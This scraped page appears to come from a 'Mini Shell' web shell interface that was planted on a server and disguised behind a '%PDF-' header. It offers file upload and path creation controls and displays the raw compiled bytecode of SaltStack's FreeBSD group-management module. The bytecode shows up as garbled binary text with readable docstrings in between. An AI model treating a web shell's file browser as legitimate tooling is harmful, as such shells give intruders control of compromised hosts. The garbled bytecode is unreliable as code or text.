%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/pw_group.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZej	e
�ZyddlZWne
k
rxnXdZd�Zdd�Zd�Zd�Zed	�Zd
�Zd�Zd�Zd
�ZdS(u
Manage groups on FreeBSD

.. important::
    If you feel that Salt should be using this module to manage groups on a
    minion, and it is using a different module (or gives an error similar to
    *'group.info' is not available*), see :ref:`here
    <module-provider-override>`.
i(tabsolute_importtunicode_literalstprint_functionNugroupcC@stddkrtStdfS(uC
    Set the user module if the kernel is FreeBSD or Dragonfly
    ukerneluFreeBSDu	DragonFlyuHThe pw_group execution module cannot be loaded: system is not supported.(uFreeBSDu	DragonFly(t
__grains__t__virtualname__tFalse(((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pyt__virtual__!scK@s�tjjj|�}tjjj|jdt��rFtj	d�n|r\tj	d�nd}|r~|dj
|�7}ndj
||�}td|dt�}|d	S(
ur
    Add the specified group

    CLI Example:

    .. code-block:: bash

        salt '*' group.add foo 3456
    usystemu6pw_group module does not support the 'system' argumentu"Invalid kwargs passed to group.addupw groupadd u-g {0} u
{0} -n {1}ucmd.run_alltpython_shelluretcode(tsalttutilstargstclean_kwargstdatatis_truetpopRtlogtwarningtformatt__salt__(tnametgidtkwargstcmdtret((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytadd+s
!cC@s(tddj|�dt�}|dS(uo
    Remove the named group

    CLI Example:

    .. code-block:: bash

        salt '*' group.delete foo
    ucmd.run_allupw groupdel {0}Ruretcode(RRR(RR((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytdeleteDs
cC@sXytj|�}Wntk
r'iSXi|jd6|jd6|jd6|jd6SdS(uw
    Return information about a group

    CLI Example:

    .. code-block:: bash

        salt '*' group.info foo
    unameupasswdugidumembersN(tgrptgetgrnamtKeyErrortgr_namet	gr_passwdtgr_gidtgr_mem(Rtgrinfo((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytinfoSs




cC@s\dtkr|rtdSg}x*tj�D]}|jt|j��q.W|td<|S(un
    Return info on all groups

    CLI Example:

    .. code-block:: bash

        salt '*' group.getent
    ugroup.getent(t__context__RtgetgralltappendR"R(trefreshRR!((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytgetenths

cC@sptd|�}||kr tSdj||�}td|dt�td|�}||krl||kStS(u}
    Change the gid for a named group

    CLI Example:

    .. code-block:: bash

        salt '*' group.chgid foo 4376
    ufile.group_to_gidupw groupmod {0} -g {1}ucmd.runR(RtTrueRR(RRtpre_gidRtpost_gid((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytchgid|s

cC@s'tddj||�dt�}|S(u�
    Add a user in the group.

    CLI Example:

    .. code-block:: bash

         salt '*' group.adduser foo bar

    Verifies if a valid username 'bar' as a member of an existing group 'foo',
    if not then adds it.
    ucmd.retcodeupw groupmod {0} -m {1}R(RRR(Rtusernametretcode((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytadduser�s
cC@sKtd|�}||dkr$tStddj||�dt�}|S(u�
    Remove a user from the group.

    CLI Example:

    .. code-block:: bash

         salt '*' group.deluser foo bar

    Removes a member user 'bar' from a group 'foo'. If group is not present
    then returns True.
    u
group.infoumembersucmd.retcodeupw groupmod {0} -d {1}R(RR(RR(RR,tgrp_infoR-((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytdeluser�s

cC@s'tddj||�dt�}|S(u

    Replaces members of the group with a provided list.

    .. versionadded:: 2015.5.4

    CLI Example:

        salt '*' group.members foo 'user1,user2,user3,...'

    Replaces a membership list for a local group 'foo'.
        foo:x:1234:user1,user2,user3,...
    ucmd.retcodeupw groupmod {0} -M {1}R(RRR(Rtmembers_listR-((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pytmembers�s
(t__doc__t
__future__RRRtloggingtsalt.utils.argsRtsalt.utils.datat	getLoggert__name__RRtImportErrorRRtNoneRRR"RR'R+R.R0R2(((s9/usr/lib/python2.7/site-packages/salt/modules/pw_group.pyt<module>
s&
	
					

Zerion Mini Shell 1.0